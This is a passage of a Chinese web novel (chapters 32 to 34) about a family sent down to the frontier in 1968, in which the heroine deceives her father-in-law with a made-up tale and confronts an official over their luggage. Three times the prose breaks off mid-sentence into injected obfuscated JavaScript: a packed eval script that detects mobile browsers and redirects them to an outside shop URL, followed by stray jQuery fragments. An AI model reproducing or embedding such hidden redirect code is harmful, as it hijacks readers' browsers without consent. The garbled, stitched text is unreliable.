陆沉舟打开院子门,把背包背进堂屋,取出几条单独包起来的死蛇,然后闪身跃过矮墙出了院子。 不多时他再进来,手上拿着一个很大的包袱。 林晚霜赶紧凑过去看。 里面有一张床单大的油布,还有一包奶粉,几大块老姜,一小捧红艳艳的干辣椒和几头大蒜。 “陈顺说,其余东西一时半会儿不好找,等我们安顿下来寄信回来,三叔找到了寄过去。”陆沉舟低声说。 陈顺就是刘三叔很器重的那个手下,林晚霜没想到,居然今晚是他来送东西。 此时已是凌晨三点半,离天亮也不到四个小时了。 两人都不打算睡觉,干脆把陆星野整理出来的包袱打开,重新归类打包。 或许是动静有点大。 约莫过了十几分钟,陆父和陆星野都出来了。 陆父还是很瘦,但气色看上去已经好了很多,也不需要陆星野搀扶。 此时他自己慢慢走进来,看到客厅里摊开正在打包的东西,神情有些复杂。 陆星野很有眼力见,立刻判断出林晚霜需要人打下手,于是便蹲下开始整理布料,然后递给她。 陆父站在原地,犹豫了会儿还是开口:“沉舟,我看这肉干挺多的,我们也吃不完。还有这奶粉,布料也都是好东西。你能不能分些给你姥姥他们送过去?” 林晚霜正在往野猪皮包塞东西的手突然顿住。 姥姥?对啊,陆母又不是从石头缝里蹦出来的,自然是有娘家的。 只是这些日子,怎么就不见人提起过这家人? 按理说即使女儿死了,可女儿生的孩子都还在,又要被下放,哪怕明面上怕人看见。半夜偷着过来看看也行吧? 她正在想着这些,旁边的陆星野已经跳了起来:“凭什么!?我们家一落难,他们立刻就和我们断绝关系了,我妈死他们都不过来看一眼!之前打秋风最欢的就是他们,呵呵。凭什么我哥辛辛苦苦搞的物资要给他们?” “星野!”陆父生气了,“你不能这么冷血不讲亲情!你外婆舅舅他们一大家子人,我们家现在出了事,人家不过来才是对的。不然被牵连了怎么办?” “那没出事的时候呢?”陆星野梗着脖子喊,“成天打秋风,遇到事就跑。我们家的柜子都被他们搬空了!我哥一回来就把那个又丑又胖的傻子堂姐往我哥怀里塞,要不是因为他们闹的厉害,我哥怎么会中了林晚霜的药?” 一旁吃瓜的林晚霜实在没想到吃个瓜还能吃到原主身上,立刻竖起了耳朵。 “那不是没娶小慧嘛,”陆父红着脖子解释,“而且你堂姐很可怜的,小时候发烧没注意,结果烧坏了脑子。” “然后呢?难道就因为她可怜,所以她脱光衣服塞我哥被子里……” 我去!大瓜啊!她实在忍不住看向陆沉舟,没想到他居然“艳福”不少。 “星野,”陆沉舟喝止了他,“不要随便讨论女孩子。” 陆星野真是太委屈了,眼泪啪塔地往下掉。 陆父松了口气,立刻看向陆沉舟:“沉舟啊,你看肉干,奶粉什么的能不能给你外婆他们送去?我们以后不在这边,也孝顺不到……” 陆父还在努力说服儿子给妻子的娘家人送些东西。 林晚霜突然想起刘三叔的话:“他爸是个小古板”“他爸妈都糊里糊涂的,拎不清事儿”。 还有陆沉舟说了他爷爷奶奶觉得陆父陆母太善良了,所以不太喜欢? 她看向正喋喋不休的陆父,这一瞬间隐约明白了什么。 “爸,”她上前打断了他的话,“沉舟托人打听过了,边疆开荒团那边水和食物都很稀缺,对我们这些下放人员更是区别对待。这些肉干以后就是我们救命的口粮。奶粉也是为了给您补充营养换的,为这个,他还去冒险抓过山峰。” 陆父一下子哑住了,好半天才说:“那,你们把我那份肉干和奶粉分出来,给你婆婆娘家送过去就行。我不吃了,可以吗?” 林晚霜几乎是要气笑了。 陆父可真是个绝世大好人,他宁愿绝食也要成全自己的孝道。 这倒是显得他们处处为他考虑的有些多余了。 “爸!”陆星野带着哭腔喊道,“我们怎么可能让您饿死?最后倒霉的还是我哥!” “我哪里……”陆父显得有些中气不足,“我只是觉得这样不好。人不能不孝啊!对你们亲外婆不孝。你们妈妈知道了会难过的。” 林晚霜已然被陆父的话气笑了:这个孝怎么还搞起外包了? 拿全家人的活路去成全自己的孝名,如果是这样的善良,那她大概是明白为啥陆爷爷陆奶奶不太喜欢他。刘三叔说他是小古板了。 至于陆母那边也很奇怪,洗衣服流产双胞胎?这衣服就非得她洗不可吗?他们家以前就算没有长工和帮佣,也可以临时雇个人,或者让陆父自己洗。 有过这样惨痛的经历,却又在怀着陆星野还干活,最后早产伤身。 光从这两件事就可以看出,陆母的善良应该也同陆父一样,异于常人。 她现在想想都觉得牙酸,更别提亲身经历这些事的人了。 此时面对陆父咄咄逼人,非要把东西送去岳家尽孝的行径,陆沉舟的脸色已经完全沉了下来。 “爸,别说了,我不可能把东西送给他们,星野也是我教出来的,您要是恨,就恨我。” “我宁愿现在就去死!也不愿我的儿子变成这样一个不孝不悌不忠不义的混账!”陆父喘着气,颤抖着手指指着陆沉舟怒吼,“你是不信吗?我现在就……” 林晚霜叹了口气,咋办呢?老板有难,那咱就上呗。 “呜呜呜……”林晚霜捂着脸假装大哭,“沉舟啊,那件事你就不要再瞒爸了好吗?” 陆父的话被这一声哭诉堵了回去,他睁大眼睛看向陆沉舟:“你瞒了我什么?” 陆沉舟一愣,继而发现林晚霜对着自己眨了下眼。 他瞬时明白她这是要给他现场教学了。 他不说话,只是别过头去。 这一下陆父是彻底急了,他立刻朝着陆沉舟走过去。 林晚霜上前一把扶住他,把他往椅子上按。 陆父抓着她的手:“沉舟媳妇,快告诉爸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147588|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉舟瞒了我什么?” 老好人真容易被骗啊!她内心感叹,平时她起个范儿到人家相信,怎么着都得来个三五回合。 轮到陆父这儿,一句话,他竟然就信了?! 真不敢想这要是遇到别有居心的人手中,稍一怂恿,他得干出多少糊涂事来。 想到这里,她倒是多了几分真心实意的委屈:“爸,这事儿……哎!” “你别叹气,你快说啊!到底是啥事儿瞒着我?”陆父简直要急疯了。 她抬头,幽幽的看向陆沉舟:“沉舟,到这份儿上了,咱爸看着身体也硬朗了些,应该是受得住?要不你自己说吧?” “到底是什么事啊!”陆父急的冲着陆沉舟直拍大腿,“我现在身体特别好,沉舟那个药吃了,我睡的好,也不咳了,能吃饭了。我特别精神,快点说啊!” 陆星野被这气氛感染,吓得忘了哭:“哥,到底怎么了?你快说啊!” 陆沉舟见他们都看向自己,急着问他到底怎么了。 怎么了?他能说也想知道吗? 他只能叹气:“还是你来说吧,不过你说的时候,尽量别吓着我爸。” 他觉得自己得提醒一下,免得她放飞自我,吓死陆父。 “哎,”林晚霜先长叹了一口气,“我们家被人盯上了。” 陆父松了口气:“就这个?不是早就被人盯上了吗?” “不一样,”她摇头,压低了声音,开始编起了故事,“你们应该知道沉舟是部队出来的,对危险感知能力特别强。” 陆星野连连点头:“对,对,我哥最厉害。” 陆沉舟眉头皱起:这个开头?她到底想说什么? 她开始客串起了说书人:“那是三天前的一个晚上,沉舟一个人去黑市换东西……” 接下来她的故事跌宕起伏,又是神秘的小乞丐,藏身陋巷的神秘白发老爷爷,冒充故友亲戚的邋遢中年汉子…… 再加上加上适当的环境渲染,心理描写,听的三人心潮澎湃。 陆沉舟自己都听的入了神,完全忘了这讲的是他。 “……最后,沉舟才发现,原来他身边布满了眼线,他们在观察他和谁有接触,给过谁东西。然后……他们就会把这些人抓起来,严加拷打!” “啊!”陆星野叫起来,“是送去劳改吗?” 陆父愤恨不已:“这些人都该抓起来去游街!” 林晚霜兢兢业业地在给故事收尾:“所以爸,沉舟可以送外婆东西,送多少都可以。只要妈以后不怪你害了她娘家人就好。” 陆父这才从故事中清醒,想起这一切都是儿子的亲身经历,一时间老泪纵横:“是我的错,我太天真了。还以为送些东西不打紧,差点就害死了你婆婆的娘家人。” 他此时看向儿子,更觉得羞愧:“沉舟,你为了我的身体,瞒着我这些事,我还跟你闹。真是……怪不得你能拿出那么好的药,原来你经历了九死一生,和十八个人辛苦搏斗。” 是的,在林晚霜的故事中,陆沉舟付出了巨大的代价,换的那颗安宫牛黄丸。 结果到了最后关头,又被人背刺,设下天罗地网。他拼尽全力,最后才能带着药归来给陆父吃。 也就是陆父他们没看过网文,否则他们立刻就会发现,这些故事情节该死的熟悉。全部都是经典片段缝合而成。 “我哥真是太了不起了,”陆星野做出总结,“我以后要像我哥一样厉害。” 陆父也点了点头:“时间不早了,快收拾吧。” 33. 第 33 章 接下来没有新的事情,收拾速度一下子变得快了起来。 21世纪出行拖个行李箱就能搞定,反正无论差什么,只要有钱就能买到。 可现在却不同,在这个没有介绍信无法出门,买什么都可能缺货的68年,出行意味着你需要带上所有的家当。 否则很可能好不容易到了地方,却发现什么都没有。 这回由于有那四床七斤重的新被子,陆沉舟做主家里的被褥全部都不带了。到时候这被子一半当褥子,一半盖身上就行。 饶是这样,他们最后收拾出来的东西也堆了满满一地。 “不行,”陆沉舟看着这些东西摇头,“我们带不了这么多。” 他们一家四口人,老弱病残幼占了个全乎。 陆父身体虽然看着好了,但没人会冒险让他扛东西。 陆星野太小,能把路上吃的干粮看好就不容易了。 林晚霜肩膀有伤,他昨晚给她上药的时候已经决定不会让她拿重东西。 这样一算下来,全家能扛能背的只有他。 至于车? 抄家的时候都没了。 借车? 就他们这样的身份,借车就是给别人添麻烦。 陆沉舟想的周到,陆父却受不了:“带不了也得带!边疆啊,那里什么都没有,你上下嘴皮一碰说的倒是轻巧。星野,沉舟媳妇儿,快帮我把东西都装背篓里,我来背着走!” 他说的轻巧,然而刚刚收拾东西的时候,他全程站旁边当监工。不是没想帮忙,而是尽帮倒忙。他手指光滑皮肤细嫩,比林晚霜这个大姑娘保养的还好。一看就是从来没干过活。 让他背?只怕肩膀磨的会比她更严重。 她刚刚已经问过小智,知道了这一路是个什么情况。此刻坚决拥护陆沉舟的决定,绝不让陆父再生事端。 “爸,您说的对,穷家富路,能带都得带。”她张口第一句就是迎合。 陆星野急得要说话,却被他哥一把拉住,他看起来一点都不急:“你认真看你嫂子怎么说,学着点儿。” 他抬头不敢置信的看着他哥:“你让我叫她啥?嫂子?我耳朵没出问题吧?” 陆沉舟没来得及说他,因为林晚霜那边已经唱上了大戏。 “爸,您知道我们从大树屯到火车站坐什么车吗?”她认真地问,一脸崇敬。 “卡车啊,”陆父说的理所当然,“咱们这儿知青去火车站都是坐卡车。” “那到时候咱们坐卡车上,万一别人也带这么多,混一起分不清咋办啊?”她问的一脸认真。 “哪里可能带这么多,”陆父决定好好教导一下自己天真的儿媳妇,“他们下乡,顶多带两个大包。谁会跟咱们一样啥都带?咱们性质就不同,我们过去是安家,基本上回不来了。他们是插队,每年农忙完了,还有机会请假回家。” “哦哦哦!”她点头,一脸认真,“那看来他们都得让着点我们。” “那不会,”陆父苦口婆心地教育她,“我们是下放的,地位比不得他们,沉舟媳妇儿啊,你千万不要和他们起争执,不然我们都会有麻烦。” “哦,可是爸,”她疑惑的看着陆父,“那我们带那么多东西,知青们不会嫌我们挤到他们吗?万一他们把我们东西扔下去了,应该会有人帮我们吧?” 陆父脸上笑容瞬间消失,他显得有些局促不安起来。 “爸,你说他们万一把我们的肉干,被子扔了,只留下一堆锅碗瓢盆怎么办?”她给予了陆父最后一击。 陆父一把掐在自己大腿上,两手不安的摩挲着裤腿。 他看向陆沉舟,声音充满了急切:“沉舟,你快看看,能不带就不要带了。不然挤着别人,万一把我们活命的东西扔了可咋办?” 陆星野目瞪口呆:“哥,咱爸这是怎么了?他刚刚还说要全带着,现在居然主动让你少带东西?” 陆沉舟低头掩下眼中的骄傲之色:“你嫂子厉害吧?以后多学着点!” 陆父见兄弟两个咬耳朵,好像没听他说话,不由得急了:“沉舟,沉舟,你快点过来,听我的,能少带就少带,只带必需品知道吗?” 在陆父的催促下,陆沉舟开始挑东西。 暖瓶全不带,锅只带可以装进包的那口,铲子带一把,菜刀也带一把,必要的时候还能防身。 衣服薄的每人只带两套,袄子只要最厚的穿一套带一套。 布料和四件套都分别裹四人衣服底下。 只带铝饭盒和筷子,碗碟全不要。 “哎呀,哎呀,”陆父心疼的直抽抽,“这么多好东西,竟然都不要了。” 陆沉舟不废话,作势就要捡起来放回去,却被陆父拦住。 陆父心疼的别开脸,眼角直抽抽:“沉舟啊,不要就不要吧,带去被人扔了我这心更疼。” 陆星野看着这一幕惊讶地张大了嘴巴。 经过一番挑选,最终要带的东西就是四床厚被子,两个野猪皮包,一包里面是肉干和调料,一包里面是油布和其他杂七杂八的东西。 两个包,一前一后的背在陆沉舟身上,被子他早就叠成豆腐块放大石头下压了两天两夜。现在体积缩了四分之三不止,正被他捆绑好了提在手里。 陆星野背着个包袱,里面装了他们一路的干粮。 林晚霜拎着个帆布包,里面装了两个灌满水的军用便携水壶,还有那封下放通知书。 陆父杵着根棍子郑重地给院门落了锁,一行四人就这样踏着晨曦走进了薄雾之中。 大树屯离他们所在的地方步行有三里,已他们的速度,至少得走两个小时。 清晨很安静,偶有几声鸟鸣却无人声。 只是这一路走来,林晚霜发现沿途的人家都大敞着门。 没有人出来送他们,但是那些门却在他们走过后才慢慢关上。 她的智能导航显示,那些屋子里,窗户旁,都挤满了人。 陆沉舟或许也发现了,他走在她身侧,突然开口。 “我爸是个好人,这里很多都是我家的佃户,免不了有些交情。” 她明白了,这些人对陆父是有一份感情在的。但是他们又不敢和坏分子沾上关系,所以早早的起来了,藏在家里目送陆父离开。 毕竟在这个车马很慢的年代,陆父身体不好,年龄又大了。 他们或许在担心,今日之后此生都不复再见。 “爸应该对他们很不错吧?”她语气很轻,像是怕惊扰了正在地上觅食的鸟儿。 “灾荒年还高价买粮借给他们,谁家有个头疼脑热,来借钱我爸都给。这些钱基本上是没见还的。” 林晚霜突然想起那天在小诊所的周大夫说“你公爹救了我家的命”。 想起林家人前一秒骂陆星野是地主崽子,后一秒遇到事了却又说“陆家人的人品大家都信的过”。 她看向杵着棍子艰难跟着他们走着,压根没发现有人在默默送别自己的陆父。 “别人败家是抽大烟,赌博,玩女人,”他的语气中颇有些无奈,“我爸败家是做好事。我爷爷说,在我爸这里,真不知道谁是地主谁是佃户了。” “你爷爷是因为这个所以不喜欢你爸爸?”她轻声与他交谈。 “不,他们只是担心他稚子心性守不住家业,所以一早给他看好了一个厉害的媳妇儿,但我爸宁愿和他们断绝往来也要娶我妈,”他回忆起了往事,声音有些喑哑。 他叹了口气又道:“我妈喜欢把事情都往自己身上扛,她嫁过来后认为是自己造成爷爷奶奶和我爸不和。所以她经常偷偷来家门口跪着,爷爷奶奶看了更担心。觉得他们两个在一起简直是场灾难。” 她想了想那个画面:两个稚儿抱着金砖,没人保护,自己也不知道有危险。顿时懂了陆爷爷陆奶奶的担忧。 “不知道该怎么说,我爸妈都是公认的好人,”他轻轻叹了口气,“他们很容易就被人利用了。” “是你妈妈的娘家吗?”她实在是好奇,“他们想做什么?” “想把大舅烧傻了的女儿嫁给我,想让我给品行不好的小舅找工作,找有钱的岳家。” 他像是想到了什么很好笑的事,语气里带着点嘲弄:“还想把我们陆家的一切都搬回去。” “你爸妈也都同意?”她太好奇了。 “他们是好人,而我姥姥他们,又不会傻到直接说出目的。就比如那个小慧,他们和我妈说的是,怕她嫁到别人家受欺负,所以嫁给沉舟吧。” 他目光冰冷,没有说的是,那个小慧仗着他爸妈的偏宠。在没有烧傻之前,多次冤枉他,栽赃他。 抢他的玩具,撕他的书。 而他因为从小就不善言辞又经常冷着张脸,所以经常被罚跪,饿肚子。 爷爷奶奶知道后找陆父过去劝过,而陆父根本不相信才几岁大,看起来软萌可爱的丫头能欺负看起来就凶巴巴的堂哥。 后来爷爷奶奶在他又一次被冤枉,当场和小慧动手。被陆父暴打一顿,罚跪了两天两夜高烧都不肯认错时,终于出现,带走了他。 他曾经对父母是怨恨的,也是爷爷奶奶慢慢教他,学会辩证着看问题。 后来他虽然谅解,接纳了他们,也知道这不过是他们被人利用。 但利用他们的人,却永远在他的黑名单上。 他冷笑着开口:“要不是你给我下了药,在我妈面前又比小慧更可怜,她以死相逼让我娶的可就是小慧了。” 他妈这个人善良,所以会因为心疼侄女逼着他娶回来。 也会因为林晚霜不嫁给他只能死,所以放弃自己的侄女。 她的善良让她永远都是站在更弱者那边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151823|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而陆沉舟的童年之所以不幸,只因为他不够弱,不够惨。 所以他妈永远觉得他可以让让别人。 但你又不能说她有问题,因为她不仅这样对儿子,自己也一直践行这点。 否则也不会因为帮佣手长了冻疮,就自己大着肚子去洗衣服了。 陆沉舟想着这些,只觉得无力。 看着陆沉舟突然阴郁起来,林晚霜一冲动把内心深埋的想法说了出来:“其实从某个方面来看,你爸妈也不算是什么好人。” 他怔住,从小到大,就算是爷爷奶奶也只会难过他父母过分善良。 就连他最恨他们的时候,也没想过他们会不是好人。 可是她已经继续说了下去。 “他们只同情弱者,而不管事实,这其实就是一种不公正,”既然已经说出口,她也就索性说个痛快了,“我最初接触你爸的时候,的确觉得他是个大好人。也因为这个对他充满了愧疚。想着多做点事弥补他。” “可是他看到我们辛辛苦苦准备的东西,第一反应就是送去给你姥姥他们。如果你姥姥他们是好人,关心你们,我无话可说。” “但事实是,你爸之所以要这样做,不是因为他们对你们好,而是因为他想做个孝顺的人,还有觉得他们家困难。可是现在最困难的难道不是我们吗?” “还说自己不吃不喝节省出来送过去,不占用其他人的东西,这也太可笑了。他难道真觉得我们会让他饿死?这本质上不就是觉得可以牺牲我们吗?” 陆沉舟听着她这些话,只觉得每一句都说到了他的心坎上。 这都是他潜意识中最真实的想法,却碍于多年的习惯,被他一直忽略了过去。 “我没有以前的记忆,大胆猜测一下,你爸应该是四个兄弟里最没有本事的,”她开始放飞自我了,“所以他唯一只能通过做道德标兵,不断地站在弱者这边,来证明自己。他之所以反抗你爷爷定的婚事,也只是怕又和强大的人生活在一起。他只敢去找比他更弱的人结婚。” 陆沉舟只觉得心头一震,他是当局者迷。这么多年,他直到现在才发现,好像他爸和他妈之间的相处,的确是只有他妈难过,哭泣的时候,他爸才显得格外温情。 而只要他妈什么都不说,他爸也什么都看不见。 所以,他不是爱妈妈,而是因为他需要一个比自己弱的伴侣,来彰显强大吗? “你爸这个人其实很自私,”她继续说,“但你妈也很自私。” “你妈妈之所以逼迫你娶明显不匹配的女人。” 她想起了原主,语气中对他多了几分同情。多惨啊,就因为他妈以死相迫,他就被迫娶了个要全家命的活阎王进门。 “她不过也是需要不断地从这些事上获得认可,让自己感觉自己很强大,很重要,”她看向他,“他们是世俗意义上的好人,只是给他们做孩子,真的很辛苦吧。” “你不仅要自己强大起来,还要接手星野的教育,不让他被他们影响。”她突然伸手过去拉他。 他一怔,下意识把被子换到另一边手上,握着了她伸过来的手。 “你真的很辛苦,不仅要做这些事,还要保护他们。做这个家的顶梁柱,”她看着他的眼睛,“一直都很累吧,陆沉舟。” 他狼狈地别过脸去,眼泪一瞬间夺眶而出。 “以后有我帮你,”她趁机开始表忠心,彰显自己作为精英下属的不可替代性,“你可以试着把一部分担子卸下给我。” 陆沉舟不知道该怎么形容他这一刻的心情。 25年来,第一次有人觉得他其实不够强大,第一次有人看到他内心痛苦矛盾的挣扎,第一次有人问他“一直以来你都很辛苦吧”?第一次有人握住他的手告诉他“以后有我帮你,你不需要再将所有的重担一个人挑起”。 他突然想起她说过“好人就应该有好报,上天不报我来报,”是因为他之前一直做的都还不错,所以她来到他身边了对吗? 这一刻,他突然真的有些相信所谓的玄学了。 否则要怎样科学的解释,为什么偏偏是她摔了一跤,失去记忆。然后变成现在这样处处都贴合他心意的人? “爸,哥怎么和那个女人牵上手了?”陆星野走的气喘吁吁,擦汗的时候,突然瞥见一旁的两人。 陆父喘着粗气看了一眼:“人家是夫妻,牵手多正常啊。你小子礼貌点,要喊嫂子知道吗?” “呵,”陆星野冷笑,“她配不上我哥,看着吧,等她生完孩子我就叫我哥和她离婚……哎哟,你干嘛打我头?” “我打死你个兔崽子!”陆父举起棍子就朝他身上招呼,“你怎么就这么恶毒?你嫂子怀着孩子陪我们去边疆吃苦。你在这里想着她生完就撺掇你哥离婚?” 陆星野抱头鼠窜:“哥,哥,快来救我啊!” 34. 第 34 章 陆沉舟突然升起的满腔柔情被陆星野的求救声打断。 他慌忙松开手。 然后大踏步地过去拦在陆父和陆星野之间。 手突然空了,林晚霜有些遗憾:和老板建立交情的好机会就这样错过了。 不过没关系!打工人从不畏惧困难。 机会是靠自己创造的,能有一次就会有第二次,第三次。 不过,走路走了半天,她这会儿正好先吃口瓜休息一下。 不过陆星野这次又是怎么招惹到他爸了?居然打的这么狠。 “沉舟,你让开,我今天必须好好教训这个不孝不悌的兔崽子!”陆父气喘吁吁地举着棍子对着陆沉舟吹胡子瞪眼。 陆星野躲在陆沉舟身后:“我说的都是实话,实话也不让人说?老古板!” 林晚霜立刻明白,想起他们没能带走的那些东西。她知道八成又是陆父提出要把这些都送去陆沉舟姥姥家。 想必陆星野又说了什么不好听的话,刺激到了陆父。 她着实是有点生气了,在她看来陆星野的话虽然难听,但的确没乱说。 她上前一步开劝:“爸,我知道您是心疼我们带不走的那些东西,想给姥姥家送去。但是我们情况真的很特殊,您就体谅一下吧。” 陆父愣住,他看着她,手中的棍子慢慢放下来:“沉舟媳妇儿,我不是为这个打星野的。” “我知道,”她才不信陆父的话,但这不妨碍她哄人,“爸是最明理的人了,您打星野一定是有非打不可的理由。只是我们现在在赶路,而是星野万一带了伤,这一路可没有药。爸,您也心疼心疼他,等到咱们安顿下来您再打?” 陆沉舟也点头:“爸,晚霜说的对,您先消消气,保存体力。” 陆父冷哼一声,看向陆星野:“你听你哥哥嫂嫂都说了什么?兔崽子,你自己羞不羞愧?” 眼见陆星野梗着脖子要吵,林晚霜立刻说:“星野还小,我们以后慢慢教就好了。爸您放心,等安定点,我们一定把给姥姥家的孝顺补上。” 她心里默默补充:那是不可能的。 陆星野终于忍不住跳起来:“坏女人,我就知道你和我们不是一条心……” “星野你跟我过来走。”陆沉舟不等他说完,一把抓着他拖到一边去了。 陆父则是和林晚霜走在一处,一路教导她生了孩子以后要如何教导,千万别养出两个不听父母话的逆子。 半小时后。 林晚霜咬牙用肩膀托起陆父的大半个身体,迈着沉重的步伐往前走。 陆父毕竟是大病初愈,能自己坚持走了那么久已经很不容易了。 此时他满怀愧疚看着她:“沉舟媳妇儿啊,是爸身体不中用,辛苦你了。小心点儿肚子啊。” “她该的!”陆星野幸灾乐祸,“我哥一个人拿那么多东西,她就空着手走。” 林晚霜累的头都不想抬,听到陆星野的话她是一点儿反应都没有。 “星野!”陆沉舟叫了一声,“我刚刚和你说了什么?” 陆星野下意识立正对着她鞠躬:“对不起,我错了。” 林晚霜有些诧异,但实在没精力回应。 现在陆父大半个身子都靠在她身上,她一双眼睛只能死死地看着脚下,怕走快了陆父跟不上,怕走慢了绊倒他。 被靠的那边肩膀的伤口应该是裂开了,此时大概是有血沁了出来,又痛又痒。 “给你嫂子擦汗,喂水。”陆沉舟看着她,发现她满脸汗水,眉头紧锁,嘴唇干裂,不由得有些心烦意乱。 他现在身上一前一后背着两个包。每个都有百来斤重。低头弯腰都很困难。 手上的被子倒是不重,但麻绳勒手。 星野太小帮不上忙。 这是他找的近路,道路偏僻,路上没有遇到一个人。 一时之间,他竟是毫无办法。 陆星野在他的注视下,给林晚霜擦了汗,又拧开水壶凑到她嘴边。 他低声说:“坏女人,我不知道你是怎么骗了我哥的,但是你休想骗到我。我会一直盯着你的!” 林晚霜没力气和他争辩,她就着陆星野的手,狠狠灌了几口水。 抬起头,努力挤出个笑容:“沉舟,我们走快点,应该不远了吧?” 的确不远了。 随着路越来越难走,他们渐渐看到了人。 小爱提示她,大树屯村口已经到了。 几人合抱的大槐树下,此刻正停着一辆卡车,卡车后厢没有顶蓬,行李和人只能挤在一处。 七八个脸庞稚嫩的男女,拎着包排着队站在车前。 在三个戴着红袖章的男人的组织下,依次上车。 “你们是哪里的人?”一个穿着灰布褂的中年男人挑着眉看向走最前面的陆沉舟。 “同志您好,陆振华一家按照规定前来报道!”陆沉舟放下手中的被子,大声报道。 林晚霜将陆父扶到树下坐好,赶紧从帆布袋中掏出早已准备好的下放通知书递过去。 灰布褂中年男人看着面前走路一瘸一拐的女人,伸出两根手指头夹过通知书,往后一递:“小王啊,你来看看这写的是个啥。” 他身后一个戴着眼镜,别着“知青委”红袖章的年轻男人赶忙双手接过通知书:“好的,主任。” 他打开,读了一遍:“……陆振华,陆沉舟,陆星野,林晚霜四人下放到……请各部门同志放行。” 中年男人听完通知书,冷眼打量了下陆沉舟胸前背后的两个大包:“坏分子?看来是带了不少好东西啊。怎么?想去边疆继续当地主?” “同志,这只是一些锅碗瓢盆和路上吃饭干粮。”陆沉舟立刻说,“毕竟我们要去扎根边疆,能带的都带了。” “呵呵,”中年男人冷笑,“你这可是皮包,你跟我讲是普通的家当?来人!给我打开当众检查!” 一旁正排队上车的知青听到这边的动静,都看了过来。 林晚霜眼见情况不妙,立刻挡在陆沉舟身前大声质问。 “同志,我们四个人的家当就这么两个包,我们是积极响应政策去扎根边疆,建设边疆的人。您嫌弃我们两个包太多,难道我们只能什么都不带您才满意吗?” “可是下放通知书明确写着‘可携带必要生活用品’,您这是公开和组织的政策唱反调吗?” 她这顶大帽子一扣,场面立刻乱了起来。 一直在关注这边情况的知青们开始议论起来—— “我们每个人都有两三个包,他们四个人才带两个包,的确不算多。” “政策都写了可以带,这人怎么……” “嘘,那是下放人员,坏分子。和我们不一样。” “但是他们建设边疆的态度很积极,看着也不像坏人。” 这些议论声传到中年人耳中,他冷笑了一下:“坏分子果然牙尖嘴利。都是一整张野猪皮子做的包,也不知道浸了多少贫苦农民的鲜血。” 这句话一出知青们的话音又变了。 “革委会该查查这皮包的来路!还下放?真该给他们吃花生米!” “可不是咋的!咱知青带的都是打满补丁的布包,装的全是糙面窝头,他们倒好,扛着一整张野猪皮的包!” “必须当众检查!看看他们包里到底装了多少脏物!” “对,必须开包检查!” 眼见着越来越多的人呼叫开包检查,中年人的脸笑了起来,示意身边的两个手下直接上。 陆星野急了:“你们不能这样?” 陆父也颤巍巍扶着树站了起来:“同志,我们真的只是装了一些吃的用的。没有脏物。” 陆沉舟后退一步,戒备的看着四周。 林晚霜上前一步拦在中年人面前,扯起嗓子就是一声嚎:“我冤啊!” 所有人都是一怔,就连陆沉舟都愣住了。 “我祖上八辈贫农,根苗正红。我男人在部队做连长,屡立战功!”她开头先定调,“就是我公公他们阶层不太好,但是这出生又不是自己能选的。” 红色地主这个绝不能说,他们现在还在T市,也不知道暗中有多少人在窥视。 然而就她说的这几句,已经引起轩然大波—— “真的假的?她是贫农?她男人是当兵的?” “假的吧!组织不会冤枉任何一个好人,要是真的能来这里?” “那也不一定,可能是得罪什么人了。” “问题是,当着知青委干事的面,她敢说假话吗?” 一时间议论纷纷,中年人的两个手下看了他一眼,不知道还要不要上去开包检查。 中年人眯了眯眼,示意再看看情况。 “然而,我男人思想觉悟高,他觉得边疆需要人去建设。所以自愿退伍和我们一起下放,不瞒大家,我也是读过初中,深知“为人民服务,从群众中来,到群众中去”我丈夫的言行深刻的影响教育了我,因此我毅然放弃留在娘家的机会,和他们一起去边疆搞建设。” “哗——” 经典的语录配上正气凛然的话语,一瞬间让这些本就满怀理想的知青们感到了深深的动容。 陆父疑惑的张了张口,他怎么觉得好像有哪里不太对劲? 陆星野嘴巴张的老大,看林晚霜跟看怪物一样。 陆沉舟防备的姿势慢慢松懈,他在心里感叹:又学到了一招! “哼!你可真会说,”中年男人看情况不对,立刻出声,“但是你再怎么说,都改变不了你们用皮包的事实。” 这句话一出有人立刻反应过来了,是啊。他们不是在说皮包的事嘛?怎么就被这女人几句话扯别的地方去了? “领导,开包检查吧!” “是啊,不管有没有问题,检查一下就知道了。” “开包检查最公平了!” 陆父和陆星野立刻紧张起来,他们包里可装了不少好东西,光是肉干都有大几十斤。这要一开包不得全玩完? 然而陆沉舟已经完全放松了:事情发展到这里,已经完全落入他媳妇儿的节奏了。 “我完全同意开包检查。”林晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156721|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜大声说,“但我认为只检查我们的包,这是给我们扣帽子!家庭成分我们无法决定,但对组织的纯洁绝不能被玷污!” 